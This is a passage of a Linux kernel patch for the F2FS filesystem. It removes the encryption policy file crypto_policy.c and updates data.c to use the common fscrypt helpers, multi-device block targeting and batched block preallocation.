a/fs/f2fs/crypto_policy.c +++ /dev/null @@ -1,209 +0,0 @@ -/* - * copied from linux/fs/ext4/crypto_policy.c - * - * Copyright (C) 2015, Google, Inc. - * Copyright (C) 2015, Motorola Mobility. - * - * This contains encryption policy functions for f2fs with some modifications - * to support f2fs-specific xattr APIs. - * - * Written by Michael Halcrow, 2015. - * Modified by Jaegeuk Kim, 2015. - */ -#include -#include -#include -#include - -#include "f2fs.h" -#include "xattr.h" - -static int f2fs_inode_has_encryption_context(struct inode *inode) -{ - int res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, - F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, NULL, 0, NULL); - return (res > 0); -} - -/* - * check whether the policy is consistent with the encryption context - * for the inode - */ -static int f2fs_is_encryption_context_consistent_with_policy( - struct inode *inode, const struct f2fs_encryption_policy *policy) -{ - struct f2fs_encryption_context ctx; - int res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, - F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx, - sizeof(ctx), NULL); - - if (res != sizeof(ctx)) - return 0; - - return (memcmp(ctx.master_key_descriptor, policy->master_key_descriptor, - F2FS_KEY_DESCRIPTOR_SIZE) == 0 && - (ctx.flags == policy->flags) && - (ctx.contents_encryption_mode == - policy->contents_encryption_mode) && - (ctx.filenames_encryption_mode == - policy->filenames_encryption_mode)); -} - -static int f2fs_create_encryption_context_from_policy( - struct inode *inode, const struct f2fs_encryption_policy *policy) -{ - struct f2fs_encryption_context ctx; - - ctx.format = F2FS_ENCRYPTION_CONTEXT_FORMAT_V1; - memcpy(ctx.master_key_descriptor, policy->master_key_descriptor, - F2FS_KEY_DESCRIPTOR_SIZE); - - if (!f2fs_valid_contents_enc_mode(policy->contents_encryption_mode)) { - printk(KERN_WARNING - "%s: Invalid contents encryption mode %d\n", __func__, - policy->contents_encryption_mode); - return -EINVAL; - } - - if (!f2fs_valid_filenames_enc_mode(policy->filenames_encryption_mode)) { - printk(KERN_WARNING - "%s: Invalid filenames encryption mode %d\n", __func__, - policy->filenames_encryption_mode); - return -EINVAL; - } - - if (policy->flags & ~F2FS_POLICY_FLAGS_VALID) - return -EINVAL; - - ctx.contents_encryption_mode = policy->contents_encryption_mode; - ctx.filenames_encryption_mode = policy->filenames_encryption_mode; - ctx.flags = policy->flags; - BUILD_BUG_ON(sizeof(ctx.nonce) != F2FS_KEY_DERIVATION_NONCE_SIZE); - get_random_bytes(ctx.nonce, F2FS_KEY_DERIVATION_NONCE_SIZE); - - return f2fs_setxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, - F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx, - sizeof(ctx), NULL, XATTR_CREATE); -} - -int f2fs_process_policy(const struct f2fs_encryption_policy *policy, - struct inode *inode) -{ - if (policy->version != 0) - return -EINVAL; - - if (!S_ISDIR(inode->i_mode)) - return -EINVAL; - - if (!f2fs_inode_has_encryption_context(inode)) { - if (!f2fs_empty_dir(inode)) - return -ENOTEMPTY; - return f2fs_create_encryption_context_from_policy(inode, - policy); - } - - if (f2fs_is_encryption_context_consistent_with_policy(inode, policy)) - return 0; - - printk(KERN_WARNING "%s: Policy inconsistent with encryption context\n", - __func__); - return -EINVAL; -} - -int f2fs_get_policy(struct inode *inode, struct f2fs_encryption_policy *policy) -{ - struct f2fs_encryption_context ctx; - int res; - - if (!f2fs_encrypted_inode(inode)) - return -ENODATA; - - res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, - F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, - &ctx, sizeof(ctx), NULL); - if (res != sizeof(ctx)) - return -ENODATA; - if (ctx.format != F2FS_ENCRYPTION_CONTEXT_FORMAT_V1) - return -EINVAL; - - policy->version = 0; - policy->contents_encryption_mode = ctx.contents_encryption_mode; - policy->filenames_encryption_mode = ctx.filenames_encryption_mode; - policy->flags = ctx.flags; - memcpy(&policy->master_key_descriptor, ctx.master_key_descriptor, - F2FS_KEY_DESCRIPTOR_SIZE); - return 0; -} - -int f2fs_is_child_context_consistent_with_parent(struct inode *parent, - struct inode *child) -{ - struct f2fs_crypt_info *parent_ci, *child_ci; - int res; - - if ((parent == NULL) || (child == NULL)) { - pr_err("parent %p child %p\n", parent, child); - BUG_ON(1); - } - - /* no restrictions if the parent directory is not encrypted */ - if (!f2fs_encrypted_inode(parent)) - return 1; - /* if the child directory is not encrypted, this is always a problem */ - if (!f2fs_encrypted_inode(child)) - return 0; - res = f2fs_get_encryption_info(parent); - if (res) - return 0; - res = f2fs_get_encryption_info(child); - if (res) - return 0; - parent_ci = F2FS_I(parent)->i_crypt_info; - child_ci = F2FS_I(child)->i_crypt_info; - if (!parent_ci && !child_ci) - return 1; - if (!parent_ci || !child_ci) - return 0; - - return (memcmp(parent_ci->ci_master_key, - child_ci->ci_master_key, - F2FS_KEY_DESCRIPTOR_SIZE) == 0 && - (parent_ci->ci_data_mode == child_ci->ci_data_mode) && - (parent_ci->ci_filename_mode == child_ci->ci_filename_mode) && - (parent_ci->ci_flags == child_ci->ci_flags)); -} - -/** - * f2fs_inherit_context() - Sets a child context from its parent - * @parent: Parent inode from which the context is inherited. - * @child: Child inode that inherits the context from @parent. - * - * Return: Zero on success, non-zero otherwise - */ -int f2fs_inherit_context(struct inode *parent, struct inode *child, - struct page *ipage) -{ - struct f2fs_encryption_context ctx; - struct f2fs_crypt_info *ci; - int res; - - res = f2fs_get_encryption_info(parent); - if (res < 0) - return res; - - ci = F2FS_I(parent)->i_crypt_info; - BUG_ON(ci == NULL); - - ctx.format = F2FS_ENCRYPTION_CONTEXT_FORMAT_V1; - - ctx.contents_encryption_mode = ci->ci_data_mode; - ctx.filenames_encryption_mode = ci->ci_filename_mode; - ctx.flags = ci->ci_flags; - memcpy(ctx.master_key_descriptor, ci->ci_master_key, - F2FS_KEY_DESCRIPTOR_SIZE); - - get_random_bytes(ctx.nonce, F2FS_KEY_DERIVATION_NONCE_SIZE); - return f2fs_setxattr(child, F2FS_XATTR_INDEX_ENCRYPTION, - F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx, - sizeof(ctx), ipage, XATTR_CREATE); -} diff --git a/fs/f2fs/data.c b/fs/f2fs/data.c index e2f0dffdbf505..034ebe3c9e2f5 100644 --- a/fs/f2fs/data.c +++ b/fs/f2fs/data.c @@ -20,6 +20,8 @@ #include #include #include +#include +#include #include #include "f2fs.h" @@ -28,16 +30,41 @@ #include "trace.h" #include +static bool __is_cp_guaranteed(struct page *page) +{ + struct address_space *mapping = page->mapping; + struct inode *inode; + struct f2fs_sb_info *sbi; + + if (!mapping) + return false; + + inode = mapping->host; + sbi = F2FS_I_SB(inode); + + if (inode->i_ino == F2FS_META_INO(sbi) || + inode->i_ino == F2FS_NODE_INO(sbi) || + S_ISDIR(inode->i_mode) || + is_cold_data(page)) + return true; + return false; +} + static void f2fs_read_end_io(struct bio *bio, int err) { struct bio_vec *bvec; int i; +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(F2FS_P_SB(bio->bi_io_vec->bv_page), FAULT_IO)) + err = -EIO; +#endif + if (f2fs_bio_encrypted(bio)) { if (err) { - f2fs_release_crypto_ctx(bio->bi_private); + fscrypt_release_ctx(bio->bi_private); } else { - f2fs_end_io_crypto_work(bio->bi_private, bio); + fscrypt_decrypt_bio_pages(bio->bi_private, bio); return; } } @@ -46,7 +73,8 @@ static void f2fs_read_end_io(struct bio *bio, int err) struct page *page = bvec->bv_page; if (!err) { - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); } else { ClearPageUptodate(page); SetPageError(page); @@ -64,25 +92,65 @@ static void f2fs_write_end_io(struct bio *bio, int err) bio_for_each_segment_all(bvec, bio, i) { struct page *page = bvec->bv_page; + enum count_type type = WB_DATA_TYPE(page); - f2fs_restore_and_release_control_page(&page); + fscrypt_pullback_bio_page(&page, true); if (unlikely(err)) { - set_page_dirty(page); set_bit(AS_EIO, &page->mapping->flags); - f2fs_stop_checkpoint(sbi); + f2fs_stop_checkpoint(sbi, true); } + dec_page_count(sbi, type); + clear_cold_data(page); end_page_writeback(page); - dec_page_count(sbi, F2FS_WRITEBACK); } - - if (!get_pages(sbi, F2FS_WRITEBACK) && - !list_empty(&sbi->cp_wait.task_list)) + if (!get_pages(sbi, F2FS_WB_CP_DATA) && + wq_has_sleeper(&sbi->cp_wait)) wake_up(&sbi->cp_wait); bio_put(bio); } +/* + * Return true, if pre_bio's bdev is same as its target device. + */ +struct block_device *f2fs_target_device(struct f2fs_sb_info *sbi, + block_t blk_addr, struct bio *bio) +{ + struct block_device *bdev = sbi->sb->s_bdev; + int i; + + for (i = 0; i < sbi->s_ndevs; i++) { + if (FDEV(i).start_blk <= blk_addr && + FDEV(i).end_blk >= blk_addr) { + blk_addr -= FDEV(i).start_blk; + bdev = FDEV(i).bdev; + break; + } + } + if (bio) { + bio->bi_bdev = bdev; + bio->bi_sector = SECTOR_FROM_BLOCK(blk_addr); + } + return bdev; +} + +int f2fs_target_device_index(struct f2fs_sb_info *sbi, block_t blkaddr) +{ + int i; + + for (i = 0; i < sbi->s_ndevs; i++) + if (FDEV(i).start_blk <= blkaddr && FDEV(i).end_blk >= blkaddr) + return i; + return 0; +} + +static bool __same_bdev(struct f2fs_sb_info *sbi, + block_t blk_addr, struct bio *bio) +{ + return f2fs_target_device(sbi, blk_addr, NULL) == bio->bi_bdev; +} + /* * Low-level block read/write IO operations. */ @@ -93,14 +161,24 @@ static struct bio *__bio_alloc(struct f2fs_sb_info *sbi, block_t blk_addr, bio = f2fs_bio_alloc(npages); - bio->bi_bdev = sbi->sb->s_bdev; - bio->bi_sector = SECTOR_FROM_BLOCK(blk_addr); + f2fs_target_device(sbi, blk_addr, bio); bio->bi_end_io = is_read ? f2fs_read_end_io : f2fs_write_end_io; bio->bi_private = is_read ? NULL : sbi; return bio; } +static inline void __submit_bio(struct f2fs_sb_info *sbi, int rw, + struct bio *bio, enum page_type type) +{ + if (!is_read_io(rw)) { + if (f2fs_sb_mounted_blkzoned(sbi->sb) && + current->plug && (type == DATA || type == NODE)) + blk_finish_plug(current->plug); + } + submit_bio(rw, bio); +} + static void __submit_merged_bio(struct f2fs_bio_info *io) { struct f2fs_io_info *fio = &io->fio; @@ -113,12 +191,58 @@ static void __submit_merged_bio(struct f2fs_bio_info *io) else trace_f2fs_submit_write_bio(io->sbi->sb, fio, io->bio); - submit_bio(fio->rw, io->bio); + __submit_bio(io->sbi, fio->rw, io->bio, fio->type); io->bio = NULL; } -void f2fs_submit_merged_bio(struct f2fs_sb_info *sbi, - enum page_type type, int rw) +static bool __has_merged_page(struct f2fs_bio_info *io, struct inode *inode, + struct page *page, nid_t ino) +{ + struct bio_vec *bvec; + struct page *target; + int i; + + if (!io->bio) + return false; + + if (!inode && !page && !ino) + return true; + + bio_for_each_segment_all(bvec, io->bio, i) { + + if (bvec->bv_page->mapping) + target = bvec->bv_page; + else + target = fscrypt_control_page(bvec->bv_page); + + if (inode && inode == target->mapping->host) + return true; + if (page && page == target) + return true; + if (ino && ino == ino_of_node(target)) + return true; + } + + return false; +} + +static bool has_merged_page(struct f2fs_sb_info *sbi, struct inode *inode, + struct page *page, nid_t ino, + enum page_type type) +{ + enum page_type btype = PAGE_TYPE_OF_BIO(type); + struct f2fs_bio_info *io = &sbi->write_io[btype]; + bool ret; + + down_read(&io->io_rwsem); + ret = __has_merged_page(io, inode, page, ino); + up_read(&io->io_rwsem); + return ret; +} + +static void __f2fs_submit_merged_bio(struct f2fs_sb_info *sbi, + struct inode *inode, struct page *page, + nid_t ino, enum page_type type, int rw) { enum page_type btype = PAGE_TYPE_OF_BIO(type); struct f2fs_bio_info *io; @@ -127,6 +251,9 @@ void f2fs_submit_merged_bio(struct f2fs_sb_info *sbi, down_write(&io->io_rwsem); + if (!__has_merged_page(io, inode, page, ino)) + goto out; + /* change META to META_FLUSH in the checkpoint procedure */ if (type >= META_FLUSH) { io->fio.type = META_FLUSH; @@ -136,9 +263,31 @@ void f2fs_submit_merged_bio(struct f2fs_sb_info *sbi, io->fio.rw = WRITE_FLUSH_FUA | REQ_META | REQ_PRIO; } __submit_merged_bio(io); +out: up_write(&io->io_rwsem); } +void f2fs_submit_merged_bio(struct f2fs_sb_info *sbi, enum page_type type, + int rw) +{ + __f2fs_submit_merged_bio(sbi, NULL, NULL, 0, type, rw); +} + +void f2fs_submit_merged_bio_cond(struct f2fs_sb_info *sbi, + struct inode *inode, struct page *page, + nid_t ino, enum page_type type, int rw) +{ + if (has_merged_page(sbi, inode, page, ino, type)) + __f2fs_submit_merged_bio(sbi, inode, page, ino, type, rw); +} + +void f2fs_flush_merged_bios(struct f2fs_sb_info *sbi) +{ + f2fs_submit_merged_bio(sbi, DATA, WRITE); + f2fs_submit_merged_bio(sbi, NODE, WRITE); + f2fs_submit_merged_bio(sbi, META, WRITE); +} + /* * Fill the locked page with data located in the block address. * Return unlocked page. @@ -146,20 +295,21 @@ void f2fs_submit_merged_bio(struct f2fs_sb_info *sbi, int f2fs_submit_page_bio(struct f2fs_io_info *fio) { struct bio *bio; - struct page *page = fio->encrypted_page ? fio->encrypted_page : fio->page; + struct page *page = fio->encrypted_page ? + fio->encrypted_page : fio->page; trace_f2fs_submit_page_bio(page, fio); f2fs_trace_ios(fio, 0); /* Allocate a new bio */ - bio = __bio_alloc(fio->sbi, fio->blk_addr, 1, is_read_io(fio->rw)); + bio = __bio_alloc(fio->sbi, fio->new_blkaddr, 1, is_read_io(fio->rw)); - if (bio_add_page(bio, page, PAGE_CACHE_SIZE, 0) < PAGE_CACHE_SIZE) { + if (bio_add_page(bio, page, PAGE_SIZE, 0) < PAGE_SIZE) { bio_put(bio); return -EFAULT; } - submit_bio(fio->rw, bio); + __submit_bio(fio->sbi, fio->rw, bio, fio->type); return 0; } @@ -173,39 +323,51 @@ void f2fs_submit_page_mbio(struct f2fs_io_info *fio) io = is_read ? &sbi->read_io : &sbi->write_io[btype]; - verify_block_addr(sbi, fio->blk_addr); + if (fio->old_blkaddr != NEW_ADDR) + verify_block_addr(sbi, fio->old_blkaddr); + verify_block_addr(sbi, fio->new_blkaddr); - down_write(&io->io_rwsem); + bio_page = fio->encrypted_page ? fio->encrypted_page : fio->page; if (!is_read) - inc_page_count(sbi, F2FS_WRITEBACK); + inc_page_count(sbi, WB_DATA_TYPE(bio_page)); + + down_write(&io->io_rwsem); - if (io->bio && (io->last_block_in_bio != fio->blk_addr - 1 || - io->fio.rw != fio->rw)) + if (io->bio && (io->last_block_in_bio != fio->new_blkaddr - 1 || + (io->fio.rw != fio->rw) || + !__same_bdev(sbi, fio->new_blkaddr, io->bio))) __submit_merged_bio(io); alloc_new: if (io->bio == NULL) { - int bio_blocks = MAX_BIO_BLOCKS(sbi); - - io->bio = __bio_alloc(sbi, fio->blk_addr, bio_blocks, is_read); + io->bio = __bio_alloc(sbi, fio->new_blkaddr, + BIO_MAX_PAGES, is_read); io->fio = *fio; } - bio_page = fio->encrypted_page ? fio->encrypted_page : fio->page; - - if (bio_add_page(io->bio, bio_page, PAGE_CACHE_SIZE, 0) < - PAGE_CACHE_SIZE) { + if (bio_add_page(io->bio, bio_page, PAGE_SIZE, 0) < + PAGE_SIZE) { __submit_merged_bio(io); goto alloc_new; } - io->last_block_in_bio = fio->blk_addr; + io->last_block_in_bio = fio->new_blkaddr; f2fs_trace_ios(fio, 0); up_write(&io->io_rwsem); trace_f2fs_submit_page_mbio(fio->page, fio); } +static void __set_data_blkaddr(struct dnode_of_data *dn) +{ + struct f2fs_node *rn = F2FS_NODE(dn->node_page); + __le32 *addr_array; + + /* Get physical address of data block */ + addr_array = blkaddr_in_node(rn); + addr_array[dn->ofs_in_node] = cpu_to_le32(dn->data_blkaddr); +} + /* * Lock ordering for the change of data block address: * ->data_page @@ -214,39 +376,63 @@ void f2fs_submit_page_mbio(struct f2fs_io_info *fio) */ void set_data_blkaddr(struct dnode_of_data *dn) { - struct f2fs_node *rn; - __le32 *addr_array; - struct page *node_page = dn->node_page; - unsigned int ofs_in_node = dn->ofs_in_node; - - f2fs_wait_on_page_writeback(node_page, NODE); - - rn = F2FS_NODE(node_page); + f2fs_wait_on_page_writeback(dn->node_page, NODE, true); + __set_data_blkaddr(dn); + if (set_page_dirty(dn->node_page)) + dn->node_changed = true; +} - /* Get physical address of data block */ - addr_array = blkaddr_in_node(rn); - addr_array[ofs_in_node] = cpu_to_le32(dn->data_blkaddr); - set_page_dirty(node_page); +void f2fs_update_data_blkaddr(struct dnode_of_data *dn, block_t blkaddr) +{ + dn->data_blkaddr = blkaddr; + set_data_blkaddr(dn); + f2fs_update_extent_cache(dn); } -int reserve_new_block(struct dnode_of_data *dn) +/* dn->ofs_in_node will be returned with up-to-date last block pointer */ +int reserve_new_blocks(struct dnode_of_data *dn, blkcnt_t count) { struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); - if (unlikely(is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC))) + if (!count) + return 0; + + if (unlikely(is_inode_flag_set(dn->inode, FI_NO_ALLOC))) return -EPERM; - if (unlikely(!inc_valid_block_count(sbi, dn->inode, 1))) + if (unlikely(!inc_valid_block_count(sbi, dn->inode, &count))) return -ENOSPC; - trace_f2fs_reserve_new_block(dn->inode, dn->nid, dn->ofs_in_node); + trace_f2fs_reserve_new_blocks(dn->inode, dn->nid, + dn->ofs_in_node, count); - dn->data_blkaddr = NEW_ADDR; - set_data_blkaddr(dn); - mark_inode_dirty(dn->inode); - sync_inode_page(dn); + f2fs_wait_on_page_writeback(dn->node_page, NODE, true); + + for (; count > 0; dn->ofs_in_node++) { + block_t blkaddr = + datablock_addr(dn->node_page, dn->ofs_in_node); + if (blkaddr == NULL_ADDR) { + dn->data_blkaddr = NEW_ADDR; + __set_data_blkaddr(dn); + count--; + } + } + + if (set_page_dirty(dn->node_page)) + dn->node_changed = true; return 0; } +/* Should keep dn->ofs_in_node unchanged */ +int reserve_new_block(struct dnode_of_data *dn) +{ + unsigned int ofs_in_node = dn->ofs_in_node; + int ret; + + ret = reserve_new_blocks(dn, 1); + dn->ofs_in_node = ofs_in_node; + return ret; +} + int f2fs_reserve_block(struct dnode_of_data *dn, pgoff_t index) { bool need_put = dn->inode_page ? false : true; @@ -326,13 +512,14 @@ struct page *get_read_data_page(struct inode *inode, pgoff_t index, * see, f2fs_add_link -> get_new_data_page -> init_inode_metadata. */ if (dn.data_blkaddr == NEW_ADDR) { - zero_user_segment(page, 0, PAGE_CACHE_SIZE); - SetPageUptodate(page); + zero_user_segment(page, 0, PAGE_SIZE); + if (!PageUptodate(page)) + SetPageUptodate(page); unlock_page(page); return page; } - fio.blk_addr = dn.data_blkaddr; + fio.new_blkaddr = fio.old_blkaddr = dn.data_blkaddr; fio.page = page; err = f2fs_submit_page_bio(&fio); if (err) @@ -386,14 +573,14 @@ struct page *get_lock_data_page(struct inode *inode, pgoff_t index, /* wait for read completion */ lock_page(page); - if (unlikely(!PageUptodate(page))) { - f2fs_put_page(page, 1); - return ERR_PTR(-EIO); - } if (unlikely(page->mapping != mapping)) { f2fs_put_page(page, 1); goto repeat; } + if (unlikely(!PageUptodate(page))) { + f2fs_put_page(page, 1); + return ERR_PTR(-EIO); + } return page; } @@ -413,7 +600,7 @@ struct page *get_new_data_page(struct inode *inode, struct page *page; struct dnode_of_data dn; int err; -repeat: + page = f2fs_grab_cache_page(mapping, index, true); if (!page) { /* @@ -437,125 +624,99 @@ struct page *get_new_data_page(struct inode *inode, goto got_it; if (dn.data_blkaddr == NEW_ADDR) { - zero_user_segment(page, 0, PAGE_CACHE_SIZE); - SetPageUptodate(page); + zero_user_segment(page, 0, PAGE_SIZE); + if (!PageUptodate(page)) + SetPageUptodate(page); } else { f2fs_put_page(page, 1); - page = get_read_data_page(inode, index, READ_SYNC, true); + /* if ipage exists, blkaddr should be NEW_ADDR */ + f2fs_bug_on(F2FS_I_SB(inode), ipage); + page = get_lock_data_page(inode, index, true); if (IS_ERR(page)) - goto repeat; - - /* wait for read completion */ - lock_page(page); + return page; } got_it: if (new_i_size && i_size_read(inode) < - ((loff_t)(index + 1) << PAGE_CACHE_SHIFT)) { - i_size_write(inode, ((loff_t)(index + 1) << PAGE_CACHE_SHIFT)); - /* Only the directory inode sets new_i_size */ - set_inode_flag(F2FS_I(inode), FI_UPDATE_DIR); - } + ((loff_t)(index + 1) << PAGE_SHIFT)) + f2fs_i_size_write(inode, ((loff_t)(index + 1) << PAGE_SHIFT)); return page; } static int __allocate_data_block(struct dnode_of_data *dn) { struct f2fs_sb_info *sbi = F2FS_I_SB(dn->inode); - struct f2fs_inode_info *fi = F2FS_I(dn->inode); struct f2fs_summary sum; struct node_info ni; - int seg = CURSEG_WARM_DATA; pgoff_t fofs; + blkcnt_t count = 1; - if (unlikely(is_inode_flag_set(F2FS_I(dn->inode), FI_NO_ALLOC))) + if (unlikely(is_inode_flag_set(dn->inode, FI_NO_ALLOC))) return -EPERM; dn->data_blkaddr = datablock_addr(dn->node_page, dn->ofs_in_node); if (dn->data_blkaddr == NEW_ADDR) goto alloc; - if (unlikely(!inc_valid_block_count(sbi, dn->inode, 1))) + if (unlikely(!inc_valid_block_count(sbi, dn->inode, &count))) return -ENOSPC; alloc: get_node_info(sbi, dn->nid, &ni); set_summary(&sum, dn->nid, dn->ofs_in_node, ni.version); - if (dn->ofs_in_node == 0 && dn->inode_page == dn->node_page) - seg = CURSEG_DIRECT_IO; - allocate_data_block(sbi, NULL, dn->data_blkaddr, &dn->data_blkaddr, - &sum, seg); + &sum, CURSEG_WARM_DATA); set_data_blkaddr(dn); /* update i_size */ - fofs = start_bidx_of_node(ofs_of_node(dn->node_page), fi) + + fofs = start_bidx_of_node(ofs_of_node(dn->node_page), dn->inode) + dn->ofs_in_node; - if (i_size_read(dn->inode) < ((loff_t)(fofs + 1) << PAGE_CACHE_SHIFT)) - i_size_write(dn->inode, - ((loff_t)(fofs + 1) << PAGE_CACHE_SHIFT)); - - /* direct IO doesn't use extent cache to maximize the performance */ - f2fs_drop_largest_extent(dn->inode, fofs); - + if (i_size_read(dn->inode) < ((loff_t)(fofs + 1) << PAGE_SHIFT)) + f2fs_i_size_write(dn->inode, + ((loff_t)(fofs + 1) << PAGE_SHIFT)); return 0; } -static void __allocate_data_blocks(struct inode *inode, loff_t offset, - size_t count) +static inline bool __force_buffered_io(struct inode *inode, int rw) { - struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - struct dnode_of_data dn; - u64 start = F2FS_BYTES_TO_BLK(offset); - u64 len = F2FS_BYTES_TO_BLK(count); - bool allocated; - u64 end_offset; - - while (len) { - f2fs_balance_fs(sbi); - f2fs_lock_op(sbi); - - /* When reading holes, we need its node page */ - set_new_dnode(&dn, inode, NULL, NULL, 0); - if (get_dnode_of_data(&dn, start, ALLOC_NODE)) - goto out; - - allocated = false; - end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); - - while (dn.ofs_in_node < end_offset && len) { - block_t blkaddr; + return ((f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) || + (rw == WRITE && test_opt(F2FS_I_SB(inode), LFS)) || + F2FS_I_SB(inode)->s_ndevs); +} - if (unlikely(f2fs_cp_error(sbi))) - goto sync_out; +int f2fs_preallocate_blocks(struct inode *inode, loff_t pos, + size_t count, bool dio) +{ + struct f2fs_map_blocks map; + int err = 0; - blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); - if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR) { - if (__allocate_data_block(&dn)) - goto sync_out; - allocated = true; - } - len--; - start++; - dn.ofs_in_node++; - } + map.m_lblk = F2FS_BLK_ALIGN(pos); + map.m_len = F2FS_BYTES_TO_BLK(pos + count); + if (map.m_len > map.m_lblk) + map.m_len -= map.m_lblk; + else + map.m_len = 0; - if (allocated) - sync_inode_page(&dn); + map.m_next_pgofs = NULL; - f2fs_put_dnode(&dn); - f2fs_unlock_op(sbi); + if (dio) { + err = f2fs_convert_inline_inode(inode); + if (err) + return err; + return f2fs_map_blocks(inode, &map, 1, + __force_buffered_io(inode, WRITE) ? + F2FS_GET_BLOCK_PRE_AIO : + F2FS_GET_BLOCK_PRE_DIO); } - return; - -sync_out: - if (allocated) - sync_inode_page(&dn); - f2fs_put_dnode(&dn); -out: - f2fs_unlock_op(sbi); - return; + if (pos + count > MAX_INLINE_DATA) { + err = f2fs_convert_inline_inode(inode); + if (err) + return err; + } + if (!f2fs_has_inline_data(inode)) + return f2fs_map_blocks(inode, &map, 1, F2FS_GET_BLOCK_PRE_AIO); + return err; } /* @@ -567,184 +728,210 @@ static void __allocate_data_blocks(struct inode *inode, loff_t offset, * b. do not use extent cache for better performance * c. give the block addresses to blockdev */ -static int f2fs_map_blocks(struct inode *inode, struct f2fs_map_blocks *map, +int f2fs_map_blocks(struct inode *inode, struct f2fs_map_blocks *map, int create, int flag) { unsigned int maxblocks = map->m_len; struct dnode_of_data dn; struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - int mode = create ? ALLOC_NODE : LOOKUP_NODE_RA; - pgoff_t pgofs, end_offset; + int mode = create ? ALLOC_NODE : LOOKUP_NODE; + pgoff_t pgofs, end_offset, end; int err = 0, ofs = 1; + unsigned int ofs_in_node, last_ofs_in_node; + blkcnt_t prealloc; struct extent_info ei; - bool allocated = false; + block_t blkaddr; + + if (!maxblocks) + return 0; map->m_len = 0; map->m_flags = 0; /* it only supports block size == page size */ pgofs = (pgoff_t)map->m_lblk; + end = pgofs + maxblocks; - if (f2fs_lookup_extent_cache(inode, pgofs, &ei)) { + if (!create && f2fs_lookup_extent_cache(inode, pgofs, &ei)) { map->m_pblk = ei.blk + pgofs - ei.fofs; map->m_len = min((pgoff_t)maxblocks, ei.fofs + ei.len - pgofs); map->m_flags = F2FS_MAP_MAPPED; goto out; } +next_dnode: if (create) - f2fs_lock_op(F2FS_I_SB(inode)); + f2fs_lock_op(sbi); /* When reading holes, we need its node page */ set_new_dnode(&dn, inode, NULL, NULL, 0); err = get_dnode_of_data(&dn, pgofs, mode); if (err) { - if (err == -ENOENT) + if (flag == F2FS_GET_BLOCK_BMAP) + map->m_pblk = 0; + if (err == -ENOENT) { err = 0; + if (map->m_next_pgofs) + *map->m_next_pgofs = + get_next_page_offset(&dn, pgofs); + } goto unlock_out; } - if (dn.data_blkaddr == NEW_ADDR || dn.data_blkaddr == NULL_ADDR) { + prealloc = 0; + last_ofs_in_node = ofs_in_node = dn.ofs_in_node; + end_offset = ADDRS_PER_PAGE(dn.node_page, inode); + +next_block: + blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); + + if (blkaddr == NEW_ADDR || blkaddr == NULL_ADDR) { if (create) { if (unlikely(f2fs_cp_error(sbi))) { err = -EIO; - goto put_out; + goto sync_out; + } + if (flag == F2FS_GET_BLOCK_PRE_AIO) { + if (blkaddr == NULL_ADDR) { + prealloc++; + last_ofs_in_node = dn.ofs_in_node; + } + } else { + err = __allocate_data_block(&dn); + if (!err) + set_inode_flag(inode, FI_APPEND_WRITE); } - err = __allocate_data_block(&dn); if (err) - goto put_out; - allocated = true; + goto sync_out; map->m_flags = F2FS_MAP_NEW; + blkaddr = dn.data_blkaddr; } else { - if (flag != F2FS_GET_BLOCK_FIEMAP || - dn.data_blkaddr != NEW_ADDR) { - if (flag == F2FS_GET_BLOCK_BMAP) - err = -ENOENT; - goto put_out; + if (flag == F2FS_GET_BLOCK_BMAP) { + map->m_pblk = 0; + goto sync_out; } - - /* - * preallocated unwritten block should be mapped - * for fiemap. - */ - if (dn.data_blkaddr == NEW_ADDR) - map->m_flags = F2FS_MAP_UNWRITTEN; + if (flag == F2FS_GET_BLOCK_FIEMAP && + blkaddr == NULL_ADDR) { + if (map->m_next_pgofs) + *map->m_next_pgofs = pgofs + 1; + } + if (flag != F2FS_GET_BLOCK_FIEMAP || + blkaddr != NEW_ADDR) + goto sync_out; } } - map->m_flags |= F2FS_MAP_MAPPED; - map->m_pblk = dn.data_blkaddr; - map->m_len = 1; + if (flag == F2FS_GET_BLOCK_PRE_AIO) + goto skip; + + if (map->m_len == 0) { + /* preallocated unwritten block should be mapped for fiemap. */ + if (blkaddr == NEW_ADDR) + map->m_flags |= F2FS_MAP_UNWRITTEN; + map->m_flags |= F2FS_MAP_MAPPED; + + map->m_pblk = blkaddr; + map->m_len = 1; + } else if ((map->m_pblk != NEW_ADDR && + blkaddr == (map->m_pblk + ofs)) || + (map->m_pblk == NEW_ADDR && blkaddr == NEW_ADDR) || + flag == F2FS_GET_BLOCK_PRE_DIO) { + ofs++; + map->m_len++; + } else { + goto sync_out; + } - end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); +skip: dn.ofs_in_node++; pgofs++; -get_next: - if (dn.ofs_in_node >= end_offset) { - if (allocated) - sync_inode_page(&dn); - allocated = false; - f2fs_put_dnode(&dn); + /* preallocate blocks in batch for one dnode page */ + if (flag == F2FS_GET_BLOCK_PRE_AIO && + (pgofs == end || dn.ofs_in_node == end_offset)) { - set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, pgofs, mode); - if (err) { - if (err == -ENOENT) - err = 0; - goto unlock_out; - } + dn.ofs_in_node = ofs_in_node; + err = reserve_new_blocks(&dn, prealloc); + if (err) + goto sync_out; - end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + map->m_len += dn.ofs_in_node - ofs_in_node; + if (prealloc && dn.ofs_in_node != last_ofs_in_node + 1) { + err = -ENOSPC; + goto sync_out; + } + dn.ofs_in_node = end_offset; } - if (maxblocks > map->m_len) { - block_t 